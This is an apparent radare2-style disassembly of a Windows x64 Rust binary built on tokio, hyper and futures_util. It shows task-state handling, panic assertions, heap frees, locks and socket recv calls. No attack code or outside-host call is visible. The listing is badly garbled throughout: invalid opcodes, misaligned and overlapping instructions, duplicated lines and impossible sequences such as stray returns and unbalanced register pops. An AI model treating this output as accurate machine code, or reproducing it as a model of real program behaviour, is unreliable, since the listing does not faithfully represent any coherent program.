mov r8d, 2
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_body_body.rs
mov rcx, rsi
call fcn.140160e20
ud2
lea r8, [0x1401d7468]
mov rcx, rdx
mov rdx, rax
call fcn.140160e60
ud2
add esp, 0x28
movzx eax, byte [rsi + 0x18]
mov eax, dword [rcx]
jmp 0x1400e97aa
je case.0x1400e91e9.4
test al, 4
je 0x1400e9a52
test al, 3
je 0x1400e9790
clc
invalid
mov ecx, 0
adc rcx, 2
lock cmpxchg qword [rsi], rdx
jne 0x1400e97aa
lea rax, [0x14020a914]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
add al, ch
add al, 0
mov byte [rdi + 0xe0], 1
add byte [rax], al
add dword [rbx + 0x12baf605], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
lea rdi, [rsi + 0x20]
test bl, bl
fisttp dword [rdi]
test dl, bl
add byte [rax], al
invalid
fisttp dword [rdi]
test dl, bl
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rax, qword [rsi]
jmp 0x1400e994e
cmp rcx, 0x3f
jbe 0x1400e9a6c
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
setb dl
add dl, dl
lock cmpxchg qword [rsi], rcx
je 0x1400e997b
test al, 1
je 0x1400e9a86
test al, 0x20
jne 0x1400e99cd
mov rcx, rax
and rcx, 0xfffffffffffffffe
loope case.0x1400e7cdb.27
loope case.0x1400e7cdb.27
test al, 4
je 0x1400e9930
test rcx, rcx
js 0x1400e9aa0
mov byte [rdx], dh
add dword [rax], eax
invalid
mov byte [rdx], dh
add dword [rax], eax
add byte [rax - 0x7d], cl
rol dword [rax - 0x4e], 1
mov dl, 1
add rcx, 0x40
mov dl, 1
mov dl, 1
lock cmpxchg qword [rsi], rcx
jne 0x1400e994e
cmp dl, 2
je case.0x1400e97e6.3
invalid
movzx eax, dl
cmp eax, 1
jne case.0x1400e97e6.2
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7d], r9b
and byte [rax - 0x7d], cl
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
and byte [rax - 0x7d], cl
rcl dword [rax], 0x48
mov edx, esi
mov r8b, 1
call fcn.14014b800
invalid
invalid
add eax, ebp
invalid
invalid
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
rol dword [rsi], 0x48
cmp eax, 0x3f
jbe 0x1400e9af3
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400e97e6.2
mov rcx, rsi
call fcn.1400ea110
jmp case.0x1400e97e6.2
mov qword [rsp + 0x50], 7
lea rdx, [rsp + 0x50]
mov rcx, rdi
stc
stc
call fcn.1400e9de0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x58], 1
jmp 0x1400e9a1f
add bl, ch
invalid
mov qword [rsp + 0x50], 7
lea rdx, [rsp + 0x50]
push rax
push rax
mov rcx, rdi
call fcn.1400e9de0
mov qword [rsp + 0x58], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x50], 6
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400e9de0
mov rcx, rsi
call fcn.1400e9f80
movaps xmm6, xmmword [rsp + 0x230]
add rsp, 0x248
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_task_state.rs
lea r8, [0x1401e0850]
mov edx, 0x24
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401e0bb0]
mov edx, 0x26
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401e0890]
mov edx, 0x23
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401e0b70]
mov edx, 0x2f
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401e0ae8]
mov edx, 0x27
call fcn.140160fb0
ud2
clc
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsi + 0x220]
test rax, rax
je 0x1400ea1b5
mov rcx, qword [rsi + 0x228]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x230], esi
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x1400ea20a
or edx, 1
mov ecx, eax
shr ecx, 5
and ecx, 1
lock cmpxchg qword [rsi], rdx
cmpxchg qword [rsi], rdx
je case.0x1400e97e6.4
test al, 4
je 0x1400ea4ab
cdq
add al, byte [rax]
invalid
test al, 3
je 0x1400ea1f0
clc
invalid
mov ecx, 0
adc rcx, 2
lock cmpxchg qword [rsi], rdx
jne 0x1400ea20a
lea rax, [0x14020a924]
movsxd rcx, dword [rax + rcx*4]
mov byte [rax + 1], cl
sar edi, 0xe1
jmp rcx
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
jle 0x1400ea39e
movups xmmword [rax + 0xb0], xmm6
lea rdi, [rsi + 0x20]
test bl, bl
je 0x1400ea459
mov rax, qword [rsi]
jmp 0x1400ea3ae
cmp rcx, 0x3f
jbe 0x1400ea4c5
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
setb dl
add dl, dl
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
je 0x1400ea3db
test al, 1
je 0x1400ea4df
sub dword [rcx], eax
add byte [rax], al
sub dword [rcx], eax
add byte [rax], al
test al, 0x20
jne case.0x1400e7cdb.30
mov rcx, rax
and rcx, 0xfffffffffffffffe
test al, 4
je 0x1400ea390
test rcx, rcx
js 0x1400ea4f9
add rcx, 0x40
mov dl, 1
lock cmpxchg qword [rsi], rcx
invalid
jne 0x1400ea3ae
invalid
cmp dl, 2
je case.0x1400ea246.3
movzx eax, dl
cmp eax, 1
ret 0xf883
jne case.0x1400ea246.2
stosb byte [rdi], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x77], r9b
bnd call fcn.14014a490
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
rol dword [rsi], 0x48
cmp eax, 0x3f
jbe 0x1400ea54c
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400ea246.2
mov rcx, rsi
call fcn.1400ea8f0
jmp case.0x1400ea246.2
mov qword [rsp + 0x50], 7
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400e9de0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x70], rax
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
mov qword [rsp + 0x58], 1
jmp 0x1400ea478
add bl, ch
invalid
mov qword [rsp + 0x50], 7
lea rdx, [rsp + 0x50]
push rax
push rax
mov rcx, rdi
call fcn.1400e9de0
mov qword [rsp + 0x58], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x50], 6
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400e9de0
mov rcx, rsi
call fcn.1400ea760
movaps xmm6, xmmword [rsp + 0x230]
add rsp, 0x248
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_task_state.rs
lea r8, [0x1401e0850]
mov edx, 0x24
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401e0bb0]
mov edx, 0x26
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401e0890]
mov edx, 0x23
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401e0b70]
mov edx, 0x2f
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401e0ae8]
mov edx, 0x27
call fcn.140160fb0
ud2
and r8b, sil
dec qword [rax]
jne 0x1400ea90d
lea rcx, [rsi + 0x20]
call fcn.140005950
mov rax, qword [rsi + 0x30]
mov edx, eax
not edx
lea r8, [rax - 5]
xor ecx, ecx
test dl, 6
cmove rcx, r8
cmp rcx, 1
je 0x1400ea942
test rcx, rcx
jne 0x1400ea97f
add rax, 0xfffffffffffffffd
cmp rax, 3
clc
add esi, dword [rdx + 0x48]
clc
add esi, dword [rdx + 0x48]
lea rcx, [rsi + 0x30]
call fcn.1400d1c60
jmp 0x1400ea97f
cmp qword [rsi + 0x38], 0
je 0x1400ea97f
mov rdi, qword [rsi + 0x40]
test rdi, rdi
je 0x1400ea97f
mov rbx, qword [rsi + 0x48]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
invalid
je 0x1400ea97f
add byte [rbp + rbx + 0x48], dh
cmp dword [rbx + 0x10], 0x11
cmp qword [rbx + 0x10], 0x11
jb 0x1400ea96d
add al, 0x48
mov edi, dword [rdi - 8]
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsi + 0x220]
test rax, rax
je 0x1400ea995
sal byte [rdx + rcx + 0x48], 0x8b
mov gs, word [rax]
add al, byte [rax]
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
mov rcx, qword [rsi + 0x228]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
clc
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf48
sldt word [rax]
movaps xmmword [rsp + 0xf30], xmm6
mov rdi, rdx
mov rsi, rcx
mov esi, ecx
mov esi, ecx
movzx eax, byte [rcx + 0xa28]
lea rcx, [0x14020a934]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdx, [rsi + 0x10]
movups xmm6, xmmword [rsi]
mov byte [rsi + 0xa29], 1
mov rax, qword [rsi + 0x518]
mov qword [rsi + 0xa30], rax
xchg byte [rax], dh
or al, byte [rax]
add byte [rax - 0x73], cl
invalid
cmp byte [rdx], cl
add byte [rax], al
mov r8d, 0x508
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
movups xmmword [rsi + 0xf40], xmm6
jmp 0x1400eaa2d
cmp qword [rsi + 0xf40], 3
je case.0x1400e7cdb.34
lea rbx, [rsi + 0xa38]
mov rcx, rbx
mov rdx, rdi
call fcn.1400eaf10
cmp al, 2
jne 0x1400eaaa7
mov rax, qword [rsi + 0xf40]
cmp rax, 2
je 0x1400eae9f
test rax, rax
je 0x1400eaeb9
mov r15, qword [rsi + 0xf40]
mov r12, qword [rsi + 0xf48]
mov qword [rsi + 0xf40], 3
cmp r15, 3
je 0x1400eae51
mov ebp, eax
lea rcx, [rsp + 0x28]
mov r8d, 0x508
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x530], r15
mov qword [rsp + 0x538], r12
cmp dword [rsp + 0x28], 3
je 0x1400eab00
lea edx, [rsp + 0x540]
mov r8d, 0x4e8
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0xf40]
cmp rax, 3
je 0x1400eac83
cmp dword [rbx], 3
je 0x1400eac77
mov rcx, rbx
call fcn.1400ef030
mov rax, qword [rsi + 0xf40]
test rax, 0xfffffffffffffffd
jne 0x1400ead68
cmp dword [r14], 4
je 0x1400ead7e
lea rcx, [rsp + 0xa28]
mov r8d, 0x508
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + 0xa29], 0
mov rbx, qword [rsi + 0xa30]
add byte [rax - 0x4b], al
add dword [rax + 0x40438601], esi
add byte [rax - 0x4b], al
add dword [rax + 0x40438601], esi
mov al, 1
xchg byte [rbx + 0x20], al
test al, al
jne 0x1400eacdf
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
mov qword [rbx + 0x10], 0
add byte [rax], al
xor edx, edx
xchg byte [rbx + 0x20], dl
test rax, rax
je 0x1400eacdf
call qword [rax + ioctlsocket]
xchg byte [rbx + 0x38], bpl
xchg byte [rbx + 0x38], ch
test bpl, bpl
jne 0x1400ead05
mov rax, qword [rbx + 0x28]
mov rcx, qword [rbx + 0x30]
mov qword [rbx + 0x28], 0
test rax, rax
je case.0x1400e91e9.16
call qword [rax + 0x18]
xor eax, eax
xchg byte [rbx + 0x38], al
lea r14, [rsi + 0xa30]
lock dec qword [rbx]
jne 0x1400ead1a
mov rcx, rbx
call fcn.140085240
lea rdx, [rsp + 0xa28]
mov r8d, 0x508
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rsi + 0xa30]
mov rcx, rbx
mov rdx, rdi
call fcn.1400eaf10
cmp al, 2
jne 0x1400ead4f
lea rcx, [rsi + 0xf48]
call fcn.1400ef650
cmp dword [r14], 4
jne 0x1400eac8d
test byte [rsi + 0x530], 1
jne 0x1400eae0b
xchg byte [rax], dh
add eax, 0xf010000
test dword [rax - 0x80000000], eax
mov esi, 0xa29
add byte [rdi], cl
test byte [rax + rax - 0x74b80000], cl
mov esi, 0xa30
cmp byte [rsi + 0xa29], 0
je 0x1400eae24
mov rdi, qword [rsi + 0xa30]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x1400eadcc
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
xor edx, edx
xchg byte [rdi + 0x20], dl
test rax, rax
je 0x1400eadcc
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x1400eadf0
xor eax, eax
xchg byte [rdi + 0x38], al
mov rax, qword [rsi + 0xa30]
lock dec qword [rax]
jne 0x1400eae24
mov rcx, qword [rsi + 0xa30]
call fcn.140085240
jmp 0x1400eae24
lea rcx, [rsi + 0x538]
call fcn.1400ef650
cmp byte [rsi + 0xa29], 0
sub dword [rdx], ecx
add byte [rax], al
add byte [rdi], cl
test dword [rdi + rdi*8 - 1], esi
invalid
sub dword [rdx], ecx
add byte [rax], al
add byte [rdi], cl
test dword [rdi + rdi*8 - 1], esi
inc esi
xchg byte [rcx], ch
or al, byte [rax]
add byte [rax], al
mov byte [rsi + 0xa29], 0
mov cl, 1
xor eax, eax
mov byte [rsi + 0xa28], cl
movaps xmm6, xmmword [rsp + 0xf30]
add byte [rax], al
add byte [rax], al
add rsp, 0xf48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, [0x1401d82f8]
cdq
invalid
invalid
add byte [rdx + 0x28], bh
call fcn.140160fb0
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, [0x1401d6118]
mov edx, 0x23
call fcn.140160fb0
ud2
lea rcx, str.cannot_poll_Select_twiceC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.28_src_future_select.rs
lea r8, [0x1401d82e0]
mov edx, 0x18
call fcn.140161290
ud2
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.28_src_future_futuremap.rs
mov edx, 0x36
call fcn.140163a30
invalid
add byte [rdi], cl
invalid
add byte [rbp + rcx*4 + 5], cl
retf
invalid
invalid
or eax, 0x11a4de
lea r8, [0x1401d29a0]
mov edx, 0x2b
add al, ch
invalid
invalid
invalid
add byte [rdi], cl
invalid
ud2
mov ecx, dword [rsi + 0x50]
add rcx, qword [r15]
jb 0x1400ee7ff
mov rdx, qword [rsp + 0xb8]
add eax, dword [rdx + 0x4d8]
cmp eax, 0x3b9ac9ff
jbe 0x1400eb072
inc rcx
je 0x1400ee7ff
add eax, 0xc4653600
mov edx, eax
shr edx, 9
imul rdx, rdx, 0x44b83
shr rdx, 0x27
add rcx, rdx
jb 0x1400eee52
imul edx, edx, 0x3b9aca00
sub eax, edx
cmp rcx, qword [rdi + 0x10]
jb 0x1400eb0a8
jne 0x1400eb26e
cmp eax, dword [rdi + 0x18]
ja 0x1400eb26e
mov rcx, r12
call fcn.140085be0
mov r12, qword [rsp + 0xb8]
mov byte [r12 + 0x4f9], 2
call fcn.14013ac10
add rax, qword [r12 + 0x4e0]
jb 0x1400ee7ff
mov r8d, edx
mov rcx, qword [rsp + 0xb8]
add r8d, dword [rcx + 0x4e8]
cmp r8d, 0x3b9ac9ff
jbe 0x1400eb0ff
inc rax
je 0x1400ee7ff
add r8d, 0xc4653600
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x1400eee52
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
mov rcx, rdi
mov rdx, rax
mov r9b, 1
call fcn.14014e3a0
cmp dword [r14 + 0x38], 0x3b9aca00
jne 0x1400eb29d
mov ebp, 2
mov rbx, qword [rsp + 0xb8]
cmp byte [rsp + 0x48], 0
je 0x1400eb159
mov rsi, qword [rsp + 0x50]
jmp 0x1400eb171
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
mov rsi, qword [rsp + 0x50]
jne 0x1400ee781
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test ebp, ebp
je 0x1400eb196
mov r15, rbx
mov bl, 5
cmp ebp, 1
mov r14, qword [rsp + 0x58]
je 0x1400ee4f7
jmp 0x1400eb5d0
mov rcx, qword [rbx + 0x3f0]
mov edx, edi
call fcn.1400d18d0
cmp dword [rbx + 0x428], 2
mov r14, qword [rsp + 0x58]
jb 0x1400eb20e
mov qword [rbx + 0x428], 0
mov dword [rbx + 0x434], 0
mov dword [rbx + 0x43c], 0
mov dword [rbx + 0x444], 1
mov dword [rbx + 0x448], edi
mov dword [rbx + 0x44c], 0
mov dword [rbx + 0x454], 0
mov dword [rbx + 0x45c], 0
mov byte [rbx + 0x464], 0
mov r15, rbx
jmp 0x1400eb5d0
mov byte [rsp + 0x5c9], 0xa
mov bl, 3
jmp 0x1400ee4f7
mov rax, qword [rsp + 0xb8]
mov byte [rax + 0x4f9], 0
mov rax, qword [rsp + 0x58]
mov rax, qword [rax]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx + reloc.WS2_32.dll_recv]
cmp dword [r14 + 0x38], 0x3b9aca00
je 0x1400eb13e
mov rdi, qword [r14 + 0x60]
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax]
lea rcx, [rdi + 0x30]
call fcn.1400695a0
xor ecx, ecx
mov eax, 3
lock cmpxchg qword [rdi + 0x10], rcx
cmp rax, 3
je 0x1400eb355
cmp rax, 4
mov rbx, qword [rsp + 0xb8]
je 0x1400eb5a3
cmp dword [rbx + 0x4d8], 0x3b9aca00
je 0x1400eb5a3
cmp byte [rbx + 0x4f9], 2
jb 0x1400eb5a3
mov rcx, qword [rbx + 0x4f0]
mov rdx, qword [rsp + 0x58]
call fcn.14014e0a0
test al, al
jne 0x1400eb5a3
cmp dword [rbx + 0x4d8], 0x3b9aca00
je 0x1400ee883
mov rdi, qword [rbx + 0x4f0]
mov rcx, rdi
call fcn.14014bbd0
lea rcx, [rdi + 8]
cmp qword [rdi], 0
je 0x1400ee84f
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400ee85d
call fcn.140089420
jmp 0x1400ee85d
mov r8d, dword [r14 + 0x38]
cmp r8d, 0x3b9aca00
je 0x1400eeeee
mov esi, ebp
lea rbp, [r14 + 0x20]
mov rdx, qword [r14 + 0x30]
mov dword [r14 + 0x38], 0x3b9aca00
mov qword [rsp + 0x100], r13
mov dword [rsp + 0x108], esi
lea rcx, [rsp + 0x100]
call fcn.14013adc0
mov r9, rax
mov r12d, edx
xor edi, edi
cmp edx, 0x3b9aca00
cmovne edi, edx
mov rax, qword [rsp + 0xb8]
cmp dword [rax + 0x4d8], 0x3b9aca00
je 0x1400eb3f2
mov qword [rsp + 0xa8], r9
cmp dword [r14 + 0x58], 0x3b9aca00
je 0x1400eb3d8
call fcn.14013ac10
mov qword [r14 + 0x50], rax
mov dword [r14 + 0x58], edx
cmp rbx, 3
setb dl
mov rcx, r15
mov r8, rbp
call fcn.140089310
mov r9, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xb8]
mov ecx, dword [rbx + 0x4b0]
cmp ecx, 0x3b9aca00
je 0x1400eb5a3
cmp qword [rbp], 0
je 0x1400eef22
lea r15, [rbx + 0x4a8]
mov r8, qword [r14 + 0x28]
mov qword [r14 + 0x20], 1
mov qword [r14 + 0x28], 0
mov eax, dword [rbx + 0x4c8]
cmp rax, 0x1000000
je 0x1400eb51d
xorpd xmm0, xmm0
xorpd xmm1, xmm1
cmp r12d, 0x3b9aca00
je 0x1400eb476
movq xmm2, r9
punpckldq xmm2, xmmword [0x140168930]
subpd xmm2, xmmword [0x140168940]
movapd xmm1, xmm2
unpckhpd xmm1, xmm2
addsd xmm1, xmm2
mov edx, edi
xorps xmm2, xmm2
cvtsi2sd xmm2, rdx
divsd xmm2, qword [0x140168bd0]
addsd xmm2, xmm1
movsd xmm1, qword [rbx + 0x4c0]
movapd xmm3, xmm2
subsd xmm3, xmm1
mulsd xmm3, qword [0x140168bd8]
movsd xmm4, qword [rbx + 0x4b8]
addsd xmm3, xmm1
cmpeqsd xmm0, xmm1
andpd xmm2, xmm0
andnpd xmm0, xmm3
orpd xmm0, xmm2
movlpd qword [rbx + 0x4c0], xmm0
movq xmm2, r8
punpckldq xmm2, xmmword [0x140168930]
subpd xmm2, xmmword [0x140168940]
movapd xmm1, xmm2
unpckhpd xmm1, xmm2
mulsd xmm0, qword [0x140168be0]
addsd xmm1, xmm2
divsd xmm1, xmm0
ucomisd xmm4, xmm1
ja 0x1400eb51d
movsd qword [rbx + 0x4b8], xmm1
add rax, rax
movabs rdx, 0x5555555555555556
mul rdx
cmp rdx, r8
jbe 0x1400ee793
cmp qword [r15], 9
ja 0x1400eb548
mov eax, dword [rbx + 0x4cc]
inc eax
mov dword [rbx + 0x4cc], eax
cmp eax, 2
jb 0x1400eb548
mov rcx, r15
call fcn.14005eff0
mov dword [rbx + 0x4cc], 0
xor eax, eax
add r13, qword [r15]
jb 0x1400ee7ff
add esi, dword [rbx + 0x4b0]
cmp esi, 0x3b9ac9ff
jbe 0x1400eb570
inc r13
je 0x1400ee7ff
add esi, 0xc4653600
mov ecx, esi
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add r13, rcx
jb 0x1400eee52
imul ecx, ecx, 0x3b9aca00
sub esi, ecx
mov qword [r14 + 0x40], r13
mov dword [r14 + 0x48], esi
xor ebp, ebp
test al, al
jne 0x1400eb14b
cmp byte [rsp + 0x48], 0
jne 0x1400eb5bd
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400ee82e
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov r15, rbx
mov r14, qword [rsp + 0x58]
mov rdi, qword [r15 + 0x3f0]
lea rsi, [rdi + 0x10]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400ee227
xor eax, eax
movzx ecx, byte [rdi + 0x18]
test cl, cl
jne 0x1400ee23a
mov rcx, qword [rdi + 0x178]
mov bl, 1
or rcx, qword [rdi + 0x188]
jne 0x1400eb622
cmp qword [rdi + 0x228], 2
setae bl
test al, al
jne 0x1400eb639
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400ee6c4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test bl, bl
jne 0x1400eb6a2
lea rdi, [r15 + 0x390]
mov rcx, rsi
call fcn.1400f0630
mov dword [rsp + 0x120], eax
mov dword [rsp + 0x124], 0
lea rax, [0x1401d3af8]
mov qword [rsp + 0x100], rax
lea rax, [0x140204680]
mov qword [rsp + 0x108], rax
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x110], xmm0
lea rdx, [rsp + 0x100]
mov rcx, rdi
call fcn.14006ed50
mov rax, qword [r15 + 0x368]
cmp rax, 2
jne 0x1400eb6cf
mov rax, qword [r15 + 0x388]
mov qword [rsp + 0x2a0], 2
mov qword [rsp + 0x2c0], rax
jmp 0x1400eb79f
lea rdx, [r15 + 0x380]
mov rsi, qword [r15 + 0x370]
mov rdi, qword [r15 + 0x378]
test rax, rax
je 0x1400eb758
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rax + rsi]
add rcx, 0x10
call qword [rdi + 0x70]
lock inc qword [rsi]
jle 0x1400eecbc
mov qword [rsp + 0x2a8], rsi
mov qword [rsp + 0x2b0], rdi
lea rdx, [rsp + 0x2b8]
mov qword [rsp + 0x2b8], rax
mov rax, qword [r15 + 0x388]
mov qword [rsp + 0x2a0], 1
mov qword [rsp + 0x2c0], rax
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
add rsi, rax
add rsi, 0x10
jmp 0x1400eb799
mov rcx, rsi
call qword [rdi + 0x70]
mov qword [rsp + 0x2a8], rsi
mov qword [rsp + 0x2b0], rdi
lea rdx, [rsp + 0x2b8]
mov qword [rsp + 0x2b8], rax
mov rax, qword [r15 + 0x388]
mov qword [rsp + 0x2a0], 0
mov qword [rsp + 0x2c0], rax
mov rcx, rsi
call qword [rdi + 0x60]
mov qword [rsp + 0x548], 2
mov qword [rsp + 0x568], 0
lea rsi, [r15 + 0x3e8]
lea rax, [r15 + 0x390]
mov qword [rsp + 0x2e8], rax
lea rax, [r15 + 0x400]
mov qword [rsp + 0x2d8], rax
lea rax, [r15 + 0x3c8]
mov qword [rsp + 0x5c0], rax
lea rax, [r15 + 0x48]
mov qword [rsp + 0xa8], rax
pcmpeqd xmm6, xmm6
xorps xmm7, xmm7
mov dword [rsp + 0xc4], eax
mov dword [rsp + 0x80], eax
mov qword [rsp + 0x230], r15
mov qword [rsp + 0x2e0], rsi
jmp 0x1400eb83a
mov word [r15 + 0x3e8], 0x101
mov dword [r15 + 0x3ec], 0
mov r14, qword [rsp + 0x58]
movzx eax, byte [rsi]
test rax, rax
je 0x1400eb8d0
cmp eax, 1
jne 0x1400ee0b9
mov esi, dword [r15 + 0x3ec]
movzx ebx, byte [r15 + 0x3e9]
mov rcx, qword [rsp + 0xa8]
mov rdx, r14
call fcn.1400f6e40
test rax, rax
jne 0x1400ee09a
test rdx, rdx
jne 0x1400ee0a7
mov rcx, qword [r15 + 0x178]
mov rax, qword [r15 + 0x180]
mov rdx, r14
bnd call qword [rax + 0x30]
bnd call qword [rax + 0x30]
test rax, rax
jne 0x1400ee09a
test rdx, rdx
jne 0x1400ee0a7
mov byte [r15 + 0x3e8], 2
mov byte [r15 + 0x3e9], bl
mov dword [r15 + 0x3ec], esi
mov rsi, qword [rsp + 0x2e0]
jmp 0x1400eb83a
lea rcx, [rsp + 0x5f0]
mov rdx, r15
mov r8, r14
call fcn.1400f0700
movzx eax, byte [rsp + 0x5f0]
cmp rax, 4
je 0x1400ebeca
movzx ebp, byte [rsp + 0x5f1]
mov r13d, dword [rsp + 0x5f4]
mov r10d, dword [rsp + 0x5f8]
mov r14d, dword [rsp + 0x5fc]
mov rdi, qword [rsp + 0x600]
movdqu xmm10, xmmword [rsp + 0x608]
mov rbx, qword [r15 + 0x3f0]
mov r9, qword [r15 + 0x3f8]
lea rcx, [rbx + 0x10]
lea r8, [r9 + 0x10]
mov qword [rsp + 0x310], rsi
mov rdx, qword [rsp + 0x2e8]
mov qword [rsp + 0x318], rdx
mov qword [rsp + 0x330], rcx
mov qword [rsp + 0x338], r8
mov byte [rsp + 0x340], 0
mov rdx, qword [rsp + 0x2d8]
mov qword [rsp + 0x320], rdx
mov dword [rsp + 0x320], edx
mov dword [rsp + 0x320], edx
mov rdx, qword [rsp + 0x5c0]
mov qword [rsp + 0x328], rdx
cmp al, 3
add eax, 0x89480000
xchg esp, eax
and al, 0x28
add eax, dword [rax]
add byte [rbx + rax], bh
je 0x1400eb820
test rax, rax
